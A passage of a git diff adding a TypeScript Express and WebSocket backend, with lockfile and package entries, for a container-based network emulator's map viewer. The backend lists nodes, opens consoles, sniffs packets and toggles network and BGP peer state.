"sha512-0TO2yJ5YHYr7M2zzT7gDU1tbwHxEUWBCLt0lscSNpcdAfFyJOVEpRYNS7EXVcTLNj/25QO8gulHC5JtTzSE2UQ==", + "requires": { + "mime-db": "1.45.0" + } + }, + "mkdirp-classic": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", + "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==" + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "negotiator": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz", + "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==" + }, + "on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", + "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", + "requires": { + "ee-first": "1.1.1" + } + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "requires": { + "wrappy": "1" + } + }, + "parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==" + }, + "path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" + }, + "proxy-addr": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.6.tgz", + "integrity": "sha512-dh/frvCBVmSsDYzw6n926jv974gddhkFPfiN8hPOi30Wax25QZyZEGveluCgliBnqmuM+UJmBErbAUFIoDbjOw==", + "requires": { + "forwarded": "~0.1.2", + "ipaddr.js": "1.9.1" + } + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "qs": { + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", + "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==" + }, + "range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" + }, + "raw-body": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", + "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", + "requires": { + "bytes": "3.1.0", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + } + }, + "readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "send": { + "version": "0.17.1", + "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", + "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", + "requires": { + "debug": "2.6.9", + "depd": "~1.1.2", + "destroy": "~1.0.4", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "~1.7.2", + "mime": "1.6.0", + "ms": "2.1.1", + "on-finished": "~2.3.0", + "range-parser": "~1.2.1", + "statuses": "~1.5.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + } + } + }, + "ms": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" + } + } + }, + "serve-static": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", + "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", + "requires": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.17.1" + } + }, + "setprototypeof": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", + "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + }, + "source-map-support": { + "version": "0.5.19", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", + "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "split-ca": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/split-ca/-/split-ca-1.0.1.tgz", + "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY=" + }, + "ssh2": { + "version": "0.8.9", + "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-0.8.9.tgz", + "integrity": "sha512-GmoNPxWDMkVpMFa9LVVzQZHF6EW3WKmBwL+4/GeILf2hFmix5Isxm7Amamo8o7bHiU0tC+wXsGcUXOxp8ChPaw==", + "requires": { + "ssh2-streams": "~0.4.10" + } + }, + "ssh2-streams": { + "version": "0.4.10", + "resolved": "https://registry.npmjs.org/ssh2-streams/-/ssh2-streams-0.4.10.tgz", + "integrity": "sha512-8pnlMjvnIZJvmTzUIIA5nT4jr2ZWNNVHwyXfMGdRJbug9TpI3kd99ffglgfSWqujVv/0gxwMsDn9j9RVst8yhQ==", + "requires": { + "asn1": "~0.2.0", + "bcrypt-pbkdf": "^1.0.2", + "streamsearch": "~0.1.2" + } + }, + "statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=" + }, + "streamsearch": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz", + "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=" + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "requires": { + "safe-buffer": "~5.2.0" + } + }, + "tar-fs": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.0.1.tgz", + "integrity": "sha512-6tzWDMeroL87uF/+lin46k+Q+46rAJ0SyPGz7OW7wTgblI273hsBqk2C1j0/xNadNLKDTUL9BukSjB7cwgmlPA==", + "requires": { + "chownr": "^1.1.1", + "mkdirp-classic": "^0.5.2", + "pump": "^3.0.0", + "tar-stream": "^2.0.0" + } + }, + "tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "requires": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + } + }, + "toidentifier": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", + "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==" + }, + "tslog": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/tslog/-/tslog-3.0.5.tgz", + "integrity": "sha512-WyI2zFa6rVzXja6bKIZ9VeRKwHceqlUzCCo2IMsi6X5oswij95s3GJKve1Pr5bdlVIUMTsWaT/wtBiL7MT4PLQ==", + "requires": { + "source-map-support": "^0.5.19" + } + }, + "tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" + }, + "type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "requires": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + } + }, + "unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=" + }, + "vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=" + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + }, + "ws": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.4.2.tgz", + "integrity": "sha512-T4tewALS3+qsrpGI/8dqNMLIVdq/g/85U98HPMa6F0m6xTbvhXU6RCQLqPH3+SlomNV/LdY6RXEbBpMH6EOJnA==" + } + } +} diff --git a/examples/not-ready-examples/25-wannacry/map/backend/package.json b/examples/not-ready-examples/25-wannacry/map/backend/package.json new file mode 100644 index 000000000..50b525d94 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/backend/package.json @@ -0,0 +1,23 @@ +{ + "name": "container-manager-server", + "version": "0.0.1", + "description": "container manager server", + "main": "src/main.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "nat ", + "license": "MIT", + "dependencies": { + "@types/dockerode": "^3.2.2", + "@types/express": "^4.17.11", + "@types/express-ws": "^3.0.0", + "@types/node": "^14.10.1", + "@types/ws": "^7.2.6", + "dockerode": "^3.2.1", + "express": "^4.17.1", + "express-ws": "^4.0.0", + "tslog": "^3.0.5", + "ws": "^7.3.1" + } +} diff --git a/examples/not-ready-examples/25-wannacry/map/backend/src/api/v1/main.ts b/examples/not-ready-examples/25-wannacry/map/backend/src/api/v1/main.ts new file mode 100644 index 000000000..6e826b65e --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/backend/src/api/v1/main.ts @@ -0,0 +1,279 @@ +import express from 'express'; +import { SocketHandler } from '../../utils/socket-handler'; +import dockerode from 'dockerode'; +import { SeedContainerInfo, Emulator, SeedNetInfo } from '../../utils/seedemu-meta'; +import { Sniffer } from '../../utils/sniffer'; +import WebSocket from 'ws'; +import { Controller } from '../../utils/controller'; + +const router = express.Router(); +const docker = new dockerode(); +const socketHandler = new SocketHandler(docker); +const sniffer = new Sniffer(docker); +const controller = new Controller(docker); + +const getContainers: () => Promise = async function() { + var containers: dockerode.ContainerInfo[] = await docker.listContainers(); + + var _containers: SeedContainerInfo[] = containers.map(c => { + var withMeta = c as SeedContainerInfo; + + withMeta.meta = { + hasSession: socketHandler.getSessionManager().hasSession(c.Id), + emulatorInfo: Emulator.ParseNodeMeta(c.Labels) + }; + + return withMeta; + }); + + // filter out undefine (not our nodes) + return _containers.filter(c => c.meta.emulatorInfo.name);; +} + +socketHandler.getLoggers().forEach(logger => logger.setSettings({ + minLevel: 'warn' +})); + +sniffer.getLoggers().forEach(logger => logger.setSettings({ + minLevel: 'warn' +})); + +controller.getLoggers().forEach(logger => logger.setSettings({ + minLevel: 'warn' +})); + +router.get('/network', async function(req, res, next) { + var networks = await docker.listNetworks(); + + var _networks: SeedNetInfo[] = networks.map(n => { + var withMeta = n as SeedNetInfo; + + withMeta.meta = { + emulatorInfo: Emulator.ParseNetMeta(n.Labels) + }; + + return withMeta; + }); + + _networks = _networks.filter(n => n.meta.emulatorInfo.name); + + res.json({ + ok: true, + result: _networks + }); + + next(); +}); + +router.get('/container', async function(req, res, next) { + try { + let containers = await getContainers(); + + res.json({ + ok: true, + result: containers + }); + } catch (e) { + res.json({ + ok: false, + result: e.toString() + }); + } + + next(); +}); + +router.get('/container/:id', async function(req, res, next) { + var id = req.params.id; + + var candidates = (await docker.listContainers()) + .filter(c => c.Id.startsWith(id)); + + if (candidates.length != 1) { + res.json({ + ok: false, + result: `no match or multiple match for container ID ${id}.` + }); + } else { + var result: any = candidates[0]; + result.meta = { + hasSession: socketHandler.getSessionManager().hasSession(result.Id), + emulatorInfo: Emulator.ParseNodeMeta(result.Labels) + }; + res.json({ + ok: true, result + }); + } + + next(); +}); + +router.get('/container/:id/net', async function(req, res, next) { + let id = req.params.id; + + var candidates = (await docker.listContainers()) + .filter(c => c.Id.startsWith(id)); + + if (candidates.length != 1) { + res.json({ + ok: false, + result: `no match or multiple match for container ID ${id}.` + }); + next(); + return; + } + + let node = candidates[0]; + + res.json({ + ok: true, + result: await controller.isNetworkConnected(node.Id) + }); + + next(); +}); + +router.post('/container/:id/net', express.json(), async function(req, res, next) { + let id = req.params.id; + + var candidates = (await docker.listContainers()) + .filter(c => c.Id.startsWith(id)); + + if (candidates.length != 1) { + res.json({ + ok: false, + result: `no match or multiple match for container ID ${id}.` + }); + next(); + return; + } + + let node = candidates[0]; + + controller.setNetworkConnected(node.Id, req.body.status); + + res.json({ + ok: true + }); + + next(); +}); + +router.ws('/console/:id', async function(ws, req, next) { + try { + await socketHandler.handleSession(ws, req.params.id); + } catch (e) { + if (ws.readyState == 1) { + ws.send(`error creating session: ${e}\r\n`); + ws.close(); + } + } + + next(); +}); + +var snifferSubscribers: WebSocket[] = []; +var currentSnifferFilter: string = ''; + +router.post('/sniff', express.json(), async function(req, res, next) { + sniffer.setListener((nodeId, data) => { + var deadSockets: WebSocket[] = []; + + snifferSubscribers.forEach(socket => { + if (socket.readyState == 1) { + socket.send(JSON.stringify({ + source: nodeId, data: data.toString('utf8') + })); + } + + if (socket.readyState > 1) { + deadSockets.push(socket); + } + }); + + deadSockets.forEach(socket => snifferSubscribers.splice(snifferSubscribers.indexOf(socket), 1)); + }); + + currentSnifferFilter = req.body.filter ?? ''; + + await sniffer.sniff((await getContainers()).map(c => c.Id), currentSnifferFilter); + + res.json({ + ok: true, + result: { + currentFilter: currentSnifferFilter + } + }); + + next(); +}); + +router.get('/sniff', function(req, res, next) { + res.json({ + ok: true, + result: { + currentFilter: currentSnifferFilter + } + }); + + next(); +}); + +router.ws('/sniff', async function(ws, req, next) { + snifferSubscribers.push(ws); + next(); +}); + +router.get('/container/:id/bgp', async function (req, res, next) { + let id = req.params.id; + + var candidates = (await docker.listContainers()) + .filter(c => c.Id.startsWith(id)); + + if (candidates.length != 1) { + res.json({ + ok: false, + result: `no match or multiple match for container ID ${id}.` + }); + next(); + return; + } + + let node = candidates[0]; + + res.json({ + ok: true, + result: await controller.listBgpPeers(node.Id) + }); + + next(); +}); + +router.post('/container/:id/bgp/:peer', express.json(), async function (req, res, next) { + let id = req.params.id; + let peer = req.params.peer; + + var candidates = (await docker.listContainers()) + .filter(c => c.Id.startsWith(id)); + + if (candidates.length != 1) { + res.json({ + ok: false, + result: `no match or multiple match for container ID ${id}.` + }); + next(); + return; + } + + let node = candidates[0]; + + await controller.setBgpPeerState(node.Id, peer, req.body.status); + + res.json({ + ok: true + }); + + next(); +}); + +export = router; \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/backend/src/interfaces/log-producer.ts b/examples/not-ready-examples/25-wannacry/map/backend/src/interfaces/log-producer.ts new file mode 100644 index 000000000..537fec111 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/backend/src/interfaces/log-producer.ts @@ -0,0 +1,14 @@ +import { Logger } from 'tslog'; + +/** + * common interface for object producing logs. + */ +export interface LogProducer { + + /** + * get loggers. + * + * @returns loggers. + */ + getLoggers(): Logger[]; +} \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/backend/src/main.ts b/examples/not-ready-examples/25-wannacry/map/backend/src/main.ts new file mode 100644 index 000000000..b8f685bd6 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/backend/src/main.ts @@ -0,0 +1,12 @@ +import express from 'express'; +import expressWs from 'express-ws'; + +const app = express(); +expressWs(app); + +import apiV1Router from './api/v1/main'; + +app.use(express.static('../frontend/public')); +app.use('/api/v1', apiV1Router); + +app.listen(8080, '0.0.0.0'); \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/backend/src/utils/controller.ts b/examples/not-ready-examples/25-wannacry/map/backend/src/utils/controller.ts new file mode 100644 index 000000000..6bf271c63 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/backend/src/utils/controller.ts @@ -0,0 +1,267 @@ +import dockerode from 'dockerode'; +import { LogProducer } from '../interfaces/log-producer'; +import { Logger } from 'tslog'; +import { Session, SessionManager } from './session-manager'; + +interface ExecutionResult { + id: number, + return_value: number, + output: string +} + +/** + * bgp peer. + */ +export interface BgpPeer { + /** name of the protocol in bird of the peer. */ + name: string; + + /** state of the protocol itself (up/down/start, etc.) */ + protocolState: string; + + /** state of bgp (established/active/idle, etc.) */ + bgpState: string; +} + +/** + * controller class. + * + * The controller class offers the ability to control a node with some common + * operations. The operations are provided by the seedemu_worker script + * installed to every node by the docker compiler. + */ +export class Controller implements LogProducer { + private _logger: Logger; + private _sessionManager: SessionManager; + + /** current task id. */ + private _taskId: number; + + /** + * Callbacks for tasks. The key is task id, and the value is the callback. + * All tasks are async: the requests need to be written to the container's + * worker session, and the container will later reply the execution result + * bound by '_BEGIN_RESULT_' and '_END_RESULT_'. + */ + private _unresolvedPromises: { [id: number]: ((result: ExecutionResult) => void)}; + + /** + * message buffers. The key is container id, and the value is buffer. + * Container's execution results are marked by '_BEGIN_RESULT_' and + * '_END_RESULT_'. One must wait till '_END_RESULT_' before parsing the + * execution result. The buffers store to result received so far. + */ + private _messageBuffer: { [nodeId: string]: string }; + + /** + * Only one task is allowed at a time. If the last task has not returned, + * all future tasks must wait. This list stores the callbacks to wake + * waiting tasks handler. + */ + private _pendingTasks: (() => void)[]; + + /** + * construct controller. + * + * @param docker dockerode object. + */ + constructor(docker: dockerode) { + this._logger = new Logger({ name: 'Controller' }); + this._sessionManager = new SessionManager(docker, 'Controller'); + this._sessionManager.on('new_session', this._listenTo.bind(this)); + + this._taskId = 0; + this._unresolvedPromises = {}; + this._messageBuffer = {}; + this._pendingTasks = []; + } + + /** + * attach a listener to a newly created session. + * + * @param nodeId node id. + * @param session session. + */ + private _listenTo(nodeId: string, session: Session) { + this._logger.debug(`got new session for node ${nodeId}; attaching listener...`); + + session.stream.addListener('data', data => { + var message: string = data.toString('utf-8'); + this._logger.debug(`message chunk from ${nodeId}: ${message}`); + + if (message.includes('_BEGIN_RESULT_')) { + if (nodeId in this._messageBuffer && this._messageBuffer[nodeId] != '') { + this._logger.error(`${nodeId} sents another _BEGIN_RESULT_ while the last message was not finished.`); + } + + this._messageBuffer[nodeId] = ''; + } + + if (!(nodeId in this._messageBuffer)) { + this._messageBuffer[nodeId] = message; + } else { + this._messageBuffer[nodeId] += message; + } + + if (!this._messageBuffer[nodeId].includes('_END_RESULT_')) { + this._logger.debug(`message from ${nodeId} is not complete; push to buffer and wait...`); + return; + } + + let json = this._messageBuffer[nodeId]?.split('_BEGIN_RESULT_')[1]?.split('_END_RESULT_')[0]; + + if (!json) { + this._logger.warn(`end-of-message seen, but messsage incomplete for node ${nodeId}?`); + return; + } + + this._logger.debug(`message from ${nodeId}: "${json}"`); + + // message should be completed by now. parse and resolve. + + try { + let result = JSON.parse(json) as ExecutionResult; + + if (result.id in this._unresolvedPromises) { + this._unresolvedPromises[result.id](result); + delete this._unresolvedPromises[result.id]; + } else { + this._logger.warn(`unknow task id ${result.id} from node ${nodeId}: `, result); + } + } catch (e) { + this._logger.warn(`error decoding message from ${nodeId}: `, e); + } + + this._messageBuffer[nodeId] = ''; + }); + } + + /** + * run seedemu worker command on a node. + * + * @param node id of node to run on. + * @param command command. + * @returns execution result. + */ + private async _run(node: string, command: string): Promise { + // wait for all pending tasks to finish. + await this._wait(); + + let task = ++this._taskId; + + this._logger.debug(`[task ${task}] running "${command}" on ${node}...`); + let session = await this._sessionManager.getSession(node, ['/seedemu_worker']); + + session.stream.write(`${task};${command}\r`); + + // create a promise, push the resolve callback to unresolved promises for current id. + let promise = new Promise((resolve, reject) => { + this._unresolvedPromises[task] = (result: ExecutionResult) => { + resolve(result); + + // one or more tasks is waiting for us to finish, let the first in queue know we are done. + if (this._pendingTasks.length > 0) { + this._pendingTasks.shift()(); + } + }; + }); + + // wait for the listener to invoke the resolve callback. + let result = await promise; + + this._logger.debug(`[task ${task}] task end:`, result); + + return result; + } + + /** + * wait for other tasks, if exist, to finish. return immediately if no + * other tasks are running. + */ + private async _wait(): Promise { + if (Object.keys(this._unresolvedPromises).length == 0) { + return; + } + + let promise = new Promise((resolve, reject) => { + this._pendingTasks.push(resolve); + }); + + return await promise; + } + + /** + * change the network connection state of a node. + * + * @param node node id + * @param connected true to re-connect, false to disconnect. + */ + async setNetworkConnected(node: string, connected: boolean) { + this._logger.debug(`setting network to ${connected ? 'connected' : 'disconnected'} on ${node}`); + await this._run(node, connected ? 'net_up' : 'net_down'); + } + + /** + * get the network connection state of a node. + * + * @param node node id + * @returns true if connected, false if not connected. + */ + async isNetworkConnected(node: string): Promise { + this._logger.debug(`getting network status on ${node}`); + + let result = await this._run(node, 'net_status'); + + return result.output.includes('up'); + } + + /** + * list bgp peers. + * + * @param node node id. this node must be a router node with bird running. + * @returns list of bgp peers. + */ + async listBgpPeers(node: string): Promise { + // potential crash when running on non-router node? + + this._logger.debug(`getting bgp peers on ${node}...`); + + let result = await this._run(node, 'bird_list_peer'); + + let lines = result.output.split('\n').map(s => s.split(/\s+/)); + + var peers: BgpPeer[] = []; + + lines.forEach(line => { + if (line.length < 6) { + return; + } + peers.push({ + name: line[0], + protocolState: line[3], + bgpState: line[5] + }); + }); + + this._logger.debug(`parsed bird output: `, lines, peers); + + return peers; + } + + /** + * set bgp peer state. + * + * @param node node id. this node must be a router node with bird running. + * @param peer peer protocol name. + * @param state new state. true to enable, false to disable. + */ + async setBgpPeerState(node: string, peer: string, state: boolean) { + this._logger.debug(`setting peer session with ${peer} on ${node} to ${state ? 'enabled' : 'disabled'}...`); + + await this._run(node, `bird_peer_${state ? 'up' : 'down'} ${peer}`); + } + + getLoggers(): Logger[] { + return [this._logger, this._sessionManager.getLoggers()[0]]; + } +} \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/backend/src/utils/seedemu-meta.ts b/examples/not-ready-examples/25-wannacry/map/backend/src/utils/seedemu-meta.ts new file mode 100644 index 000000000..26dbc9943 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/backend/src/utils/seedemu-meta.ts @@ -0,0 +1,110 @@ +import 'dockerode'; +import Dockerode from 'dockerode'; + +const META_PREFIX = 'org.seedsecuritylabs.seedemu.meta.'; + +export interface VertexMeta { + displayname?: string; + description?: string; +} + +export interface SeedEmulatorNode extends VertexMeta { + name?: string; + role?: string; + asn?: number; + nets: { + name?: string; + address?: string; + }[]; +} + +export interface SeedEmulatorNet extends VertexMeta { + name?: string; + scope?: string; + type?: string; + prefix?: string; +} + +export interface SeedEmulatorMetadata { + hasSession: boolean; + emulatorInfo: SeedEmulatorNode; +} + +export interface SeedContainerInfo extends Dockerode.ContainerInfo { + meta: SeedEmulatorMetadata; +} + +export interface SeedNetInfo extends Dockerode.NetworkInspectInfo { + meta: { + emulatorInfo: SeedEmulatorNet; + } +} + +/** + * Class with helpers to parse metadata labels. + */ +export class Emulator { + + /** + * parse node metadata. + * + * @param labels labels, where key is label, and value is value. + * @returns parsed node metadata object. + */ + static ParseNodeMeta(labels: { + [key: string]: string + }): SeedEmulatorNode { + var node: SeedEmulatorNode = { + nets: [] + }; + + Object.keys(labels).forEach(label => { + if (!label.startsWith(META_PREFIX)) return; + var key = label.replace(META_PREFIX, ''); + var value = labels[label]; + + if (key === 'asn') node.asn = Number.parseInt(value); + if (key === 'nodename') node.name = value; + if (key === 'role') node.role = value; + if (key.startsWith('net.')) { + var [_, i, item] = key.match(/net\.(\d+)\.(\S+)/); + var ifindex = Number.parseInt(i); + if (!node.nets[ifindex]) node.nets[ifindex] = {}; + if (item != 'name' && item != 'address') return; + node.nets[ifindex][item] = value; + } + if (key === 'displayname') node.displayname = value; + if (key === 'description') node.description = value; + }); + + return node; + } + + /** + * parse network metadata. + * + * @param labels labels, where key is label, and value is value. + * @returns parsed network metadata. + */ + static ParseNetMeta(labels: { + [key: string]: string + }): SeedEmulatorNet { + var net: SeedEmulatorNet = {}; + + Object.keys(labels).forEach(label => { + if (!label.startsWith(META_PREFIX)) return; + var key = label.replace(META_PREFIX, ''); + var value = labels[label]; + + if (key === 'type') net.type = value; + if (key === 'scope') net.scope = value; + if (key === 'name') net.name = value; + if (key === 'prefix') net.prefix = value; + if (key === 'displayname') net.displayname = value; + if (key === 'description') net.description = value; + }); + + return net; + } + +}; \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/backend/src/utils/session-manager.ts b/examples/not-ready-examples/25-wannacry/map/backend/src/utils/session-manager.ts new file mode 100644 index 000000000..2a3549ba3 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/backend/src/utils/session-manager.ts @@ -0,0 +1,152 @@ +import dockerode from 'dockerode'; +import { Duplex } from 'stream'; +import { Logger } from 'tslog'; +import { LogProducer } from '../interfaces/log-producer'; + +export interface Session { + stream: Duplex, + exec: dockerode.Exec +}; + +export type SessionEvent = 'new_session'; + 